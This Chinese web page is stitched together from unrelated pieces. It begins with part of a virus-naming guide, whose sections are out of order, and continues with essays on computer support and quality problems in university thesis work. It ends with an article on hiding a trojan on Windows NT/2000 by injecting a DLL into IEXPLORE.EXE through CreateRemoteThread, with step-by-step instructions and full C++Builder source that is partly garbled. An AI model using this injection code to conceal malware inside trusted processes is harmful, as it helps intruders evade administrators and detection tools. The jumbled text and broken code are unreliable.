(二)宏病毒其實宏病毒是也是腳本病毒的一種,由于它的特殊性,因此在這里單獨算成一類。宏病毒的前綴是:Macro,第二前綴是:Word、Word97、Excel、Excet97(也許還有別的)其中之一。凡是只感染W(wǎng)ORD97及以前版本W(wǎng)ORD文檔的病毒采用Word97作為第二前綴,格式是:Macro.Word97;凡是只感染W(wǎng)ORD97以后版本W(wǎng)ORD文檔的病毒采用Word作為第二前綴,格式是:Macro.Word;凡是只感染EXCEL97及以前版本EXCEL文檔的病毒采用Excel97作為第二前綴,格式是:
(三)腳本病毒腳本病毒的前綴是:Script。腳本病毒的公有特性是使用腳本語言編寫,通過網(wǎng)頁進行的傳播的病毒,如紅色代碼(Script.Redlof)可不是我們的老大代碼兄哦。腳本病毒還會有如下前綴:VBS、js(表明是何種腳本編寫的),如歡樂時光(VBS.Happytime)、十四日(Js.Fortnight.C.S)等。推薦閱讀:遠程開放教育軟件工程專業(yè)畢業(yè)論文
Macro.Excel97;凡是只感染EXCEL97以后版本EXCEL文檔的病毒采用Excel作為第二前綴,格式是:Macro.Excel,依此類推。
(四)后門病毒后門病毒的前綴是:Backdoor。該類病毒的公有特性是通過網(wǎng)絡傳播,給系統(tǒng)開后門,給用戶電腦帶來安全隱患。如很多朋友遇到過的IRC后f]Backdoor.IRCBot。
(五)破壞性程序病毒破壞性程序病毒的前綴是:Harm。這類病毒的公有特性是本身具有好看的圖標來誘惑用戶點擊,當用戶點擊這類病毒時,病毒便會直接對用戶計算機產(chǎn)生破壞。如:格式化c盤(Harm.formatC.f)、殺手命令(Harm.Command.Killer)等。
1.1 計算機知識儲備量不足
目前,各高校都開設有計算機課程,但仍不能滿足本科畢業(yè)論文實踐的需求。對于本科畢業(yè)論文,主要會用到Office辦公軟件中的Word、Excel、PowerPoint(PPT,Internet文獻數(shù)據(jù)庫,以及文獻管理軟件等。雖然各高校一般都開設有計算機基礎類課程,介紹MicrosoftWindows、Office軟件、Internet的使用,但所授內(nèi)容還不能滿足本科畢業(yè)論文實踐的需要。在畢業(yè)論文寫作時,畢業(yè)生往往感到Word文檔的編排非常的麻煩,需要花費相當?shù)木蜁r間,也給指導老師增添了不少指導負擔。同樣,Excel、PowerPoint、Internet的使用也不盡如人意。除此之外,還有部分軟件知識在已有課程中完全沒有涉及,如文獻管理軟件的使用等。
1.2 計算機硬件設施不足
計算機資源不足嚴重影響畢業(yè)論文的撰寫。學生可利用的計算機資源主要有三種:自有計算機,學校計算機,網(wǎng)吧計算機。對自有計算機而言,雖有調查表明大學生電腦的擁有率已達到50%左右,但對于大多數(shù)來自農(nóng)村的大學生而言,他們的電腦擁有率依然很低。對學校計算機而言,雖然各學校都建立有計算機房,但相比于龐大的學生群體,學校計算機依然不能滿足學生需求,而且學校計算機主要用于教學使用,學生的使用有時間限制。在這種情況下,許多學生不得不求助于網(wǎng)吧,而網(wǎng)吧一般不安裝OFFICE辦公軟件,更不會安裝如AutoCAD這種專業(yè)軟件,也無法訪問學校圖書館數(shù)據(jù)庫。與此同時,畢業(yè)論文的撰寫時間比較集中,往往在一兩個月內(nèi)完成,特別是臨近答辯的幾天里,幾千畢業(yè)生需要計算機修訂論文,計算機的緊張程度可想而知。因而,學生在畢業(yè)論文撰寫過程中,常遇到?jīng)]有計算機可以使用的情況。
1.3 計算機使用缺乏指導
學生進行計算機操作時,缺乏足夠的指導。由于高校擴招,學生數(shù)量急劇增大而教師數(shù)量增加緩慢,導致師生比偏高,嚴重影響教學質量。作為公共基礎課程,幾千名學生的教學工作,往往由十多名教師來完成,師生比甚至高達1:250,很難說學生可以充分得到教師的指導在畢業(yè)論文進行階段,也同樣遇到師生比過高的問題,經(jīng)常遇到一個老師同時指導十幾名學生的現(xiàn)象,教師指導任務重,很難保證指導質量。
2.本科畢業(yè)論文實踐中計算機應用需求
2.1 WORD大型文檔編排
畢業(yè)論文是一種較長的文檔,編排難度相對較大般而言,畢業(yè)論文字數(shù)要求5000字以上,頁數(shù)一般在10頁以上,編排的版式幾乎與出版社正規(guī)出版的書籍類似。這對于平時很少利用Word軟件的學生而言,具有很大的難度,需要重新學習Word的編排技巧。在論文寫作過程中,也容易出現(xiàn)論文排版上的各種問題。
目前,文檔編排軟件很多,但一般采用Mi-crosoftWord完成.對于Word排版問題,應著重解決以下幾方面的問題:①頁面設置;②文字格式的設置;③樣式的應用;④分節(jié)的設置;⑤頁眉頁腳的設置;⑥圖表的繪制;⑦公式的錄入;⑧自動生成目錄。
2.2 Excel表、圖與統(tǒng)計分析
對于大多數(shù)的畢業(yè)論文,都會涉及插入圖表,以及數(shù)據(jù)的統(tǒng)計分析。除文科類論文較少涉及圖表知識外,理工科、農(nóng)科、醫(yī)學等學科的大部分畢業(yè)論文,都會涉及圖表的制作以及數(shù)據(jù)的統(tǒng)計分析。在畢業(yè)論文寫作過程中,部分學生對圖表的制作很是陌生,甚至不知道標準的圖表要求是什么,因而做出來的圖表不僅不美觀,而且也不符合要求。Excel還具有統(tǒng)計分析功能,不僅方便快捷,而且準確可靠,但不少同學不知道Excel具有統(tǒng)計學功能,更不會使用。他們往往采用手算的方法來進行統(tǒng)計分析,耗時耗力,而且還容易出錯。
圖表與統(tǒng)計分析,不僅可以采用Excel,也可以采用更為專業(yè)的軟件,如Origin制圖、Sigmaplot制圖、SAS統(tǒng)計分析、SPSS統(tǒng)計分析等,但以Excel更為方便。對于Execl圖表與統(tǒng)計,應著重解決以下幾方面的問題:①Excel表格的制作(特別是三線表的制作);②Excel圖表的制作;③Excel函數(shù)與公式;④Excel統(tǒng)計分析工具。除此之外,也可以介紹Origin、Sigmaplot、SAS、SPSS等軟件的使用。
文檔演示畢業(yè)論文答辯時,_般采用PPT展示其研究課題。答辯過程主要包含兩部分,學生陳述和老師提問。學生的自主陳述過程,不僅需要其精彩的陳述,更需要映襯陳述的多媒體展示。目前,大多數(shù)學生往往直接將論文內(nèi)容粘貼到PPT當中,卻不知如何精簡和美化,結果導致PPT臃腫,條理不清晰,沒有層次感。導致這一情況的直接原因就是學生缺乏PPT制作的技巧。
對于PPT的制作,應著重解決以下幾方面的問題:①整體結構設計;②頁面布局設計;③色彩搭配設計;④演講內(nèi)容提煉;⑤媒體元素設置;⑥動態(tài)效果設置;⑦播放策略。
2.4 INTERNET文獻檢索
Internet是獲取科技信息非常方便的渠道。畢業(yè)論文的實踐不是閉門造車,而是他人研究成果的繼續(xù)。因而在研究之前需要查閱大量的文獻。文獻資料主要分為兩種資料:文本資料和電子資料。大部分的研究成果是以期刊論文、會議報告、學位論文等形式最先展示出來的,而這部分資料目前基本都被相關數(shù)據(jù)庫所收錄,存儲在數(shù)據(jù)服務器上。利用互聯(lián)網(wǎng)技術,可以非常方便地查閱到所需要的資料。
對于Internet文獻檢索,應著重解決以下幾方面的問題:①主要中文期刊數(shù)據(jù)庫;②主要英文期刊數(shù)據(jù)庫;③其它類型數(shù)據(jù)庫(如:電子圖書、電子報紙、會議論文、學位論文、標準、專利等);④檢索策略;⑤檢索技巧。
2.5 ENDNOTE文獻管理
在畢業(yè)論文撰寫過程中,根據(jù)撰寫需要,要對參考文獻進行插入、移動、刪除等各種管理操作。本科畢業(yè)論文的參考文獻數(shù)量一般在20篇左右,而研究生畢業(yè)論文的參考文獻數(shù)量可達100篇以上,對于如此多的文獻,如果采用人工管理的方式,不僅工作量巨大,而且非常容易出錯。通過專業(yè)的文獻管理軟件,可以非常方便地對參考文獻進行處理。文獻管理類軟件有多種,如:醫(yī)學文獻王、風^-express、Endnote、Referencemanager、Notefirst等。不同軟件有自己的特點和優(yōu)勢,重點推薦Endnote文獻管理軟件,當然像Notefrst這種推出時間較短的國內(nèi)免費軟件,也有不錯的口碑。
以Endnote文獻管理軟件為例,應著重解決以下幾方面問題:①參考文獻格式標準;②創(chuàng)建End-note圖書館;③文獻信息錄入;④Word中使用文獻格式模板設置;⑥高級應用。
3.本科畢業(yè)論文實踐中的計算機應用指導
3.1 加強計算機教育課程建設
通過調整課程設置和課程內(nèi)容,引入相關計算機教育內(nèi)容。同時,提高教學質量和水平,加強學生計算機實踐能力的培養(yǎng)。在《計算機基礎》課程中,要將Office辦公軟件引入到課程中,并要達到一定的應用水準。在《試驗設計與統(tǒng)計分析》課程中,可以引入Excel和SAS等軟件知識。在《文獻檢索》課程中,可以引入Internet的使用,數(shù)據(jù)庫查詢和Endnote軟件等知識。在其它專業(yè)課程中,凡涉及到計算機內(nèi)容的,也要盡可能進行上機訓練,提高計算機應用能力。
3.2 加強計算機專業(yè)知識講座
通過專題講座的形式,講解畢業(yè)論文實踐過程中所使用的軟件知識。在畢業(yè)論文撰寫期間,可以通過專題講座,具有針對性地進行輔導。因此,學生可以及時的了解相關知識,并立即加以應用。除了現(xiàn)場的講座形式外,還可以利用網(wǎng)絡的優(yōu)勢,建立網(wǎng)上學習平臺,將學習資源放在網(wǎng)絡上,學生可以隨時查詢相關計算機應用知識。
3.3 加強計算機硬件建設
加大計算機硬件設施的投入力度,優(yōu)化計算機機房管理,提高計算機利用效率。根據(jù)學校人數(shù)和計算機使用的實際情況,合理投入資金進行計算機房的建設,增加計算機的臺套數(shù)。其次,制定合理的管理措施,適當延長計算機房的使用時間,提高計算機房的利用效率,減少計算機的非學習性占用。
3.4 加強指導老師的指導職責
制定畢業(yè)論文指導教師的考核體系,強化指導教師的責任意識,督促教師加強對學生的指導。從學校和學院兩個層次,學校層次要做好畢業(yè)論文指導的全面工作,同時要對計算機應用指導工作提出明確統(tǒng)_的要求,學院則有必要對學校的規(guī)定做出具體的安排和實施辦法。
畢業(yè)設計是所有工科人才培養(yǎng)方案中規(guī)定的重要實踐性教學環(huán)節(jié),高等職業(yè)技術學院也不例外。通過該環(huán)節(jié)的教學使學生能夠綜合運用所學理論知識分析、解決實際工程問題,初步掌握設計的一般流程和方法,在設計態(tài)度、工程思想、實踐能力等方面得到系統(tǒng)的鍛煉和提高,為步入工作崗位打下良好的基礎。畢業(yè)設計的質量在一定程度上反映了學生的專業(yè)知識水平、工程素質以及綜合運用各種知識的能力;也在一定程度上體現(xiàn)了指導教師的治學態(tài)度、學術水平和指導設計工作的能力;同時也從一個側面表明了學校的教學質量和管理水平[1].尤其對于工科學生而言,畢業(yè)設計是他們走上工作崗位前的一次預演,應該引起足夠的重視
1.當前高等職業(yè)技術學院畢業(yè)設計(論文)存在的問題
1.1 學生思想重視不夠, 投入精力不足
由于目前就業(yè)形勢嚴峻, 一部分學生忙于參加各種各樣的招聘會和公司面試, 在畢業(yè)設計環(huán)節(jié)上投入精力甚微。畢業(yè)設計的時間與實習、頂崗或長升本(接本)時間重合,在兩者不可兼顧的情況下, 多數(shù)學生都選擇了工作或接本為主, 而不是做畢業(yè)設計。
1.2 選題不恰當
選題恰當是做好畢業(yè)設計( 論文) 的前提, 我院制訂的"無錫商業(yè)職業(yè)技術學院物聯(lián)網(wǎng)技術學院??粕厴I(yè)設計( 論文) 工作的若干規(guī)定"規(guī)定了選題的基本原則。
盡管如此, 但是選題不當?shù)那闆r仍然時有發(fā)生, 表現(xiàn)在:(1) 論文題目大多由指導教師給定,學生并不感興趣, 因此更談不上對題目的意義有比較深入的思考; (2) 論文題目與學生的發(fā)展方向不一致。例如有的學生是軟件方向的, 但指導教師指定的題目卻是硬件方向的等等, 對于所用到的一些技術學生知之甚少; (3) 論文選題陳舊,圖書管理系統(tǒng)題、學生管理系統(tǒng)等類似的題已經(jīng)做了多少年了, 每年都在做, 又沒有發(fā)展, 毫無創(chuàng)新性可言; (4) 選題脫離社會實踐, 所使用的技術屬于基本已經(jīng)淘汰的技術, 對學生綜合能力培養(yǎng)的幫助不大;
1.3 指導教師缺乏經(jīng)驗, 指導強度大
由于計算機專業(yè)發(fā)展比較晚, 具有豐富項目實踐經(jīng)驗的老教師十分稀缺。而隨著近幾年計算機專業(yè)擴招, 高校引入了大批的年輕的畢業(yè)生充實教師隊伍, 這些年輕教師本身充滿活力, 敢想敢干, 不足之處在于他們多是畢業(yè)后直接從事教學工作, 實際的工程項目實踐經(jīng)驗不足, 而計算機專業(yè)本身是一個實踐性要求很強的專業(yè), 沒有這些實踐體會, 就很難理解軟件開發(fā)過程、軟件技術如何應用到生產(chǎn)這些問題, 從而影響了畢業(yè)設計的質量;
1.4 畢業(yè)設計過程缺乏監(jiān)督
一般按慣例, 指導教師與學生之間每星期至少應見面兩次, 了解學生畢業(yè)設計的進展情況。然而由于受到學生找工作、升本(接本)等特殊情況的影響, 很難堅持下來。學生缺乏主動性, 不愿意主動找指導教師交流, 因此使得畢業(yè)設計的過程缺乏監(jiān)督。
1.5 論文抄襲現(xiàn)象時有發(fā)生
我校對論文抄襲現(xiàn)象處置甚嚴, 這也是對學生實事求是的科學態(tài)度和嚴肅認真的工作作風的培養(yǎng), 然而, 部分學生報著僥幸和偷懶心理, 往往將網(wǎng)絡上檢索到的多篇論文稍加修改, 重新組織加工, 從而就變成了自己的畢業(yè)論文。有的學生甚至一字不改, 原文照搬。
總的說來,目前有的高等職業(yè)技術院校的畢業(yè)設計(論文)工作中的主要問題是少了一點“規(guī)矩”,即使有規(guī)矩也是“老規(guī)矩”。對隨著教育和教學改革的深化而出現(xiàn)的新情況遇到的新問題,缺乏深入的研究和及時的改革。
2.畢業(yè)設計(論文)的定位
計算機應用專業(yè)是一門綜合性非常高的學科,該專業(yè)軟件、硬件及系統(tǒng)的開發(fā)、應用、維護等工程領域,是一個縱向較深,橫向較廣的復合性、綜合性專業(yè)。畢業(yè)設計(論文)是學生綜合運用所學知識,分析、解決實際問題,培養(yǎng)獨立思考、獨立工作的能力,接受高等職業(yè)技術人員所必需能力的基本訓練的重要教學環(huán)節(jié)。畢業(yè)設計(論文)首先具有教學與教育功能,是實現(xiàn)專業(yè)培養(yǎng)目標,對學生進行設計科學教育,培養(yǎng)探求真理的科學精神,強化工程意識,進行工程基本訓練,提高學生科學研究能力、工程實踐能力、創(chuàng)新能力和經(jīng)濟意識的重要階段;是培養(yǎng)學生優(yōu)良思想品質,進行綜合素質教育的全面檢驗。其次,畢業(yè)設計(論文)成果具有直接或間接為經(jīng)濟建設服務,為生產(chǎn)、科研服務的社會功能。隨著教育和教學改革的深化,對人才培養(yǎng)模式的改革,專業(yè)的拓寬改造,對人才培養(yǎng)提出了新的更高要求,我們更應高度重視畢業(yè)設計(論文)的基本要求和質量評價,使學生更清楚地知道怎樣主動做好畢業(yè)設計(論文),使指導教師更清楚地知道如何對學生進行指導,使管理人員知道怎樣抓住實質問題管理到位,以保證畢業(yè)設計(論文)的質量。
3.有關應對措施
3.1 加強學生思想教育
如何提高高校畢業(yè)設計的質量, 已成為一個日益引起教育界關注的話題。筆者陋見, 根本措施應當是加強學生教育, 使學生引起重視。其實多數(shù)高校和指導教師對于加強學生思想教育的重要性都深有體會, 但具體實施起來總覺得效果不如想象中好, 關鍵是在于“循循善誘”幾個字。筆者今年指導的幾個學生中, 也有個別學生對畢業(yè)設計重視不夠,設計時敷衍了事, 做好畢業(yè)設計,是為了對自己四年學習劃上一個圓滿的句號, 也是對個人責任心的一次考驗, 從而端正了態(tài)度, 主動性大大提高。
3.2 在畢業(yè)設計之前做專題講座
由于學生都是第一次參加畢業(yè)設計, 所以對如何進入狀態(tài), 開始畢業(yè)設計工作, 如何查閱資料, 如何分階段完成, 如何撰寫開題報告和畢業(yè)論文, 如何對畢業(yè)論文的章節(jié)規(guī)劃、內(nèi)容安排和格式規(guī)范等知識缺乏認識, 因此在畢業(yè)設計之前有必要做專門針對畢業(yè)設計如何開展的專題講座。
3.3 選題是關鍵, 鼓勵學生到企業(yè)進行畢業(yè)設計
選題是整個畢業(yè)設計(論文)的核心, 正確、恰當?shù)剡x題是做好畢業(yè)設計(論文)的前提, 應首先把好選題關。在我系首先原則上把一人一題作為選題工作的重要原則少數(shù)課題比較大時, 可以分成幾個小課題, 但必須保證每個學生都是單獨完成自己的課題,防止學生互相“幫忙”的發(fā)生。
畢業(yè)設計(論文)題目需經(jīng)過教研室討論、教研室主任審核、系主任批準。對于一些過易、任務過輕或所使用的是一些過時技術的題, 堅決要求進行重選。通過這些做法,保證了畢業(yè)設計(論文)題目的質量, 學生也反映良好。
開展學生畢業(yè)設計的一種新做法, 是讓學生到就業(yè)單位去做畢業(yè)設計, 利用企業(yè)的經(jīng)費、場地和技術力量, 完成企業(yè)需要的技術課題, 實行校企聯(lián)合指導方式。一方面, 可培養(yǎng)學生工程設計和科學研究能力及團隊合作精神, 使學生了解和掌握實際工程設計和科研的全過程;另一方面,工作單位的實際課題, 任務明確, 要求具體, 時間性強, 能激發(fā)學生的工作熱情和主動性, 增強學生的事業(yè)心和責任感。同時, 便于用人單位和學生較早互相了解, 有利于學生就業(yè)后盡早地進人工作角色。我系目前對于這種新的指導方式正進行嘗試和摸索,從目前的效果來看,很受學生和用人單位的歡迎。[2]
3.4 過程管理很重要
開題報告完成以后, 就進入了漫長的實際設計過程。要增強對學生的監(jiān)督和督促機制, 防止學生偷懶。其一,要增強指導教師的責任感;其二,可引入現(xiàn)在一些軟件公司常用的做法,要求學生寫周報,讓學生每周對自己畢業(yè)設計的工作進展, 取得的成果或碰到的困難做一次記錄。這樣既避免了學生臨時報佛腳,不做設計只寫論文的情況發(fā)生,又使學生的整個設計過程都有案可查, 增加了對畢業(yè)設計評分的合理性和公正性。[3]
3.5 如何杜絕論文抄襲現(xiàn)象
論文抄襲是學術界十分不齒的行為,應當給學生灌輸這種思想。學生大多都是第一次撰寫學術論文,一旦養(yǎng)成了抄襲的壞毛病,則日后對己對人都貽害無窮。一方面,應當將“對畢業(yè)論文抄襲進行嚴厲懲罰”寫入到畢業(yè)論文的要求規(guī)范當中去,一旦發(fā)現(xiàn),絕不姑息;另一方面,指導教師可通過耐心教導,擊潰學生的僥幸心理,讓學生明白,抄襲的論文是無所遁形的。
3.6 改善評判學生畢業(yè)設計質量
學生的畢業(yè)設計質量由兩部分來衡量:
一是設計成果的質量, 包括軟件的功能、所采用的開發(fā)技術、人機界面等部分組成, 可通過現(xiàn)場演示和答辯來評分;
二是畢業(yè)論文質量,根據(jù)課題完成情況和答辯情況由指導教師、評閱教師和答辯小組分別按畢業(yè)設計(論文)評閱、評審評分標準采用“結構分”進行評定,其中指導教師成績占30%,評閱教師成績占30%,答辯小組成績占 40%
(1)指導教師評定成績
根據(jù)指導教師評審評分標準從學生工作量、工作態(tài)度、技術方案、分析與解決問題的能力、設計(論文)質量、創(chuàng)新等方面進行評定。
(2)評閱教師評閱成績
根據(jù)省教育廳的有關文件精神,要求每位學生的畢業(yè)設計(論文)必須由兩位熟悉相應課題內(nèi)容的教師(可以是外聘教師)進行評閱,評閱評分標準從畢業(yè)設計(論文)內(nèi)容、學生工作水平以及論文撰寫規(guī)范共同確定,每位評閱教師必須單獨填寫評閱表。
(3)答辯
成績主要由答辯小組根據(jù)答辯評審評分標準從學生的報告內(nèi)容、報告過程、回答問題以及學生在畢業(yè)設計 (論文) 中的創(chuàng)新等方面進行評定。畢業(yè)設計(論文)成績按優(yōu)秀(>85分)、良好(75分一84分)、中等(66 分一74分)、及格(60分一65分)、不及格(60分以下)五級分評定,其中優(yōu)秀比例控制在 20%以內(nèi)。[4]
關鍵字進程線程木馬動態(tài)鏈接庫
木馬程序(也稱后門程序)是能被控制的運行在遠程主機上的程序,由于木馬程序是運行在遠程主機上,所以進程的隱藏無疑是大家關心的焦點。
本文分析了WindowsNT/2000系統(tǒng)下進程隱藏的基本技術和方法,并著重討論運用線程嫁接技術如何實現(xiàn)WindowsNT/2000系統(tǒng)中進程的隱藏。
1基本原理
在WIN95/98中,只需要將進程注冊為系統(tǒng)服務就能夠從進程查看器中隱形,可是這一切在WindowsNT/2000中卻完全不同,無論木馬從端口、啟動文件上如何巧妙地隱藏自己,始終都不能躲過WindowsNT/2000的任務管理器,WindowsNT/2000的任務管理器均能輕松顯示出木馬進程,難道在WindowsNT/2000下木馬真的再也無法隱藏自己的進程了?我們知道,在WINDOWS系統(tǒng)下,可執(zhí)行文件主要是Exe和Com文件,這兩種文件在運行時都有一個共同點,會生成一個獨立的進程,尋找特定進程是我們發(fā)現(xiàn)木馬的方法之一,隨著入侵檢測軟件的不斷發(fā)展,關聯(lián)進程和SOCKET已經(jīng)成為流行的技術,假設一個木馬在運行時被檢測軟件同時查出端口和進程,我們基本上認為這個木馬的隱藏已經(jīng)完全失敗。在WindowsNT/2000下正常情況用戶進程對于系統(tǒng)管理員來說都是可見的,要想做到木馬的進程隱藏,有兩個辦法,第一是讓系統(tǒng)管理員看不見你的進程;第二是不使用進程。本文以第二種方法為例加以討論,其基本原理是將自已的木馬以線程方式嫁接于遠程進程之中,遠程進程則是合法的用戶程序,這樣用戶管理者看到的只是合法進程,而無法發(fā)現(xiàn)木馬線程的存在,從而達到隱藏的目的。
2實現(xiàn)方法
為了弄清實現(xiàn)方法,我們必須首先了解Windows系統(tǒng)的另一種"可執(zhí)行文件"----DLL,DLL是DynamicLinkLibrary(動態(tài)鏈接庫)的縮寫,DLL文件是Windows的基礎,因為所有的API函數(shù)都是在DLL中實現(xiàn)的。DLL文件沒有程序邏輯,是由多個功能函數(shù)構成,它并不能獨立運行,一般都是由進程加載并調用的。因為DLL文件不能獨立運行,所以在進程列表中并不會出現(xiàn)DLL,假設我們編寫了一個木馬DLL,并且通過別的進程來運行它,那么無論是入侵檢測軟件還是進程列表中,都只會出現(xiàn)那個進程而并不會出現(xiàn)木馬DLL,如果那個進程是可信進程,(例如瀏覽器程序IEXPLORE.EXE,沒人會懷疑它是木馬吧?)那么我們編寫的DLL作為那個進程的一部分,也將成為被信賴的一員,也就達到了隱藏的目的。
運行DLL方法有多種,但其中最隱蔽的方法是采用動態(tài)嵌入技術,動態(tài)嵌入技術指的是將自己的代碼嵌入正在運行的進程中的技術。理論上來說,在Windows中的每個進程都有自己的私有內(nèi)存空間,別的進程是不允許對這個私有空間進行操作的,但是實際上,我們?nèi)匀豢梢岳梅N種方法進入并操作進程的私有內(nèi)存。動態(tài)嵌入技術有多種如:窗口Hook、掛接API、遠程線程等,這里介紹一下遠程線程技術,它只要有基本的進線程和動態(tài)鏈接庫的知識就可以很輕松地完成動態(tài)嵌入。
遠程線程技術指的是通過在另一個進程中創(chuàng)建遠程線程的方法進入那個進程的內(nèi)存地址空間。我們知道,在進程中,可以通過CreateThread函數(shù)創(chuàng)建線程,被創(chuàng)建的新線程與主線程(就是進程啟動時被同時自動建立的那個線程)共享地址空間以及其他的資源。但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進程內(nèi)創(chuàng)建新線程,被創(chuàng)建的遠程線程同樣可以共享遠程進程(是遠程進程)的地址空間,所以,實際上,我們通過一個遠程線程,進入了遠程進程的內(nèi)存地址空間,也就擁有了那個遠程進程相當?shù)臋嘞蕖?/p>
3實施步驟
1)用Process32Next()函數(shù)找到宿主進程,獲取宿主進程ID,并用
OpenProcess()函數(shù)打開宿主進程。
2)用VirtualAllocEx()函數(shù)分配遠程進程地址空間中的
內(nèi)存。
3)用WriteProcessMemory()函數(shù)將待隱藏的DLL的路徑名。
4)拷貝到步驟二已經(jīng)分配的內(nèi)存中。
5)用GetProcAddress()函數(shù)獲取LoadlibraryA()函數(shù)的實地址(在kernel32.dll中)。
6)用CreateRemoteThread()函數(shù)在遠程進程中創(chuàng)建一個線程。
7)它調用正確的LoadlibraryA()函數(shù)。
8)為它傳遞步驟二中分配的內(nèi)存地址。
4具體實例
下面是在C++Builder4.0環(huán)境下編寫的運用遠程線程技術隱藏木馬的程序代碼:
#include<vcl.h>
#include<windows.h>
#include<stdio.h>
#include<tlhelp32.h>//該頭文件包涵了進程操作的API函數(shù)
#pragmahdrstop
#include"Unit1.h"
#pragmapackage(smart_init)
#pragmaresource"*.dfm"
InsistingpszLibFileName;//存放待隱藏的DLL文件名
HANDLEhProcessSnap=NULL;//進程快照句柄
HANDLEhRemoteProcess;//遠程進程句柄
LPVOIDpszLibFileRemote;//遠程進程中分配給文件名的空間
HMODULEphmd;//存放kernel32.dll句柄
HANDLEhRemoteThread1=NULL;//存放遠程線程句柄
TForm1*Form1;
//---------------------------------------------------------
__fastcallTForm1::TForm1(TComponent*Owner)
:TForm(Owner)
{
}
//---------------------------------------------------------
void__fastcallTForm1::Button1Click(TObject*Sender
{
PROCESSENTRY32pe32={0};
DWORDdwRemoteProcessId;
hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
//打開進程快照
if(hProcessSnap==(HANDLE)-1)
{
MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);
exit(0);
}//失敗返回
pe32.dwSize=sizeof(PROCESSENTRY32);
if(Process32Fi
rst(hProcessSnap,&pe32))//獲取第一個進程
{
do{
AnsiStringte;
te=pe32.szExeFile;
if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))
//找到宿主進程,以IEXPLORE.EXE為例
{dwRemoteProcessId=pe32.th32ProcessID;
break;
}
}
while(Process32Next(hProcessSnap,&pe32));//獲取下一個進程
}
else
{
MessageBox(NULL,"取第一個進程失敗","",MB_OK);
exit(0);
}
hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM
_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);
//打開遠程進程
pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";
//假設hide.dll是待隱藏的進程
intcb=(1+pszLibFileName.Length())*sizeof(char);//計算dll文件名長度
pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,
MEM_COMMIT,PAGE_READWRITE);
//申請存放文件名的空間
BOOLReturnCode=WriteProcessMemory(hRemoteProcess,
pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);
//把dll文件名寫入申請的空間
phmd=GetModuleHandle("kernel32.dll");
LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)
GetProcAddress(phmd,"LoadLibraryA");
//獲取動態(tài)鏈接庫函數(shù)地址
hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,
pfnStartAddr,pszLibFileRemote,0,NULL);
//創(chuàng)建遠程線
if(hRemoteThread1!=NULL)
CloseHandle(hRemoteThread1);//關閉遠程線程
if(hProcessSnap!=NULL)
CloseHandle(hProcessSnap);//關閉進程快照
}
該程序編譯后命名為RmtDll.exe,運行時點擊界面上的按鈕即可。
至此,遠程嵌入順利完成,為了試驗我們的hide.dll是不是已經(jīng)正常地在遠程線程運行,我同樣在C++Builder4.0環(huán)境下編寫并編譯了下面的hide.dll作為測試:
nclude<vcl.h>
#include<windows.h>
#pragmahdrstop
#pragmaargsused
BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)
{
charszProcessId[64];
switch(reason)
{
caseDLL_PROCESS_ATTACH:
{//獲取當前進程ID
itoa(GetCurrentProcessId(),szProcessId,10);
MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);
break;
}
default:
}
returnTRUE;
}
當使用RmtDll.exe程序將這個hide.dll嵌入IEXPLORE.EXE進程后假設PID=1208),該測試DLL彈出了1208字樣的確認框,同時使用PS工具
也能看到:
ProcessID:1208
C:\WINNT\IEXPLORE.EXE(0x00400000)
……
C:\WINNT\hide.dll(0x100000000)
……
這證明hide.dll已經(jīng)在IEXPLORE.EXE進程內(nèi)正確地運行了。上面程序的頭文件由編譯器自動生成,未作改動,故略之。
5結束語
進程隱藏技術和方法有很多,而且這一技術發(fā)展也相當快,本文僅從一個側面加以討論,希望通過這一探討讓我們對進程隱藏技術有一個更清楚的認識,同時也為我們防范他人利用進程隱藏手段非法入侵提供參考,本文拋磚引玉,不當之處誠懇批評指正。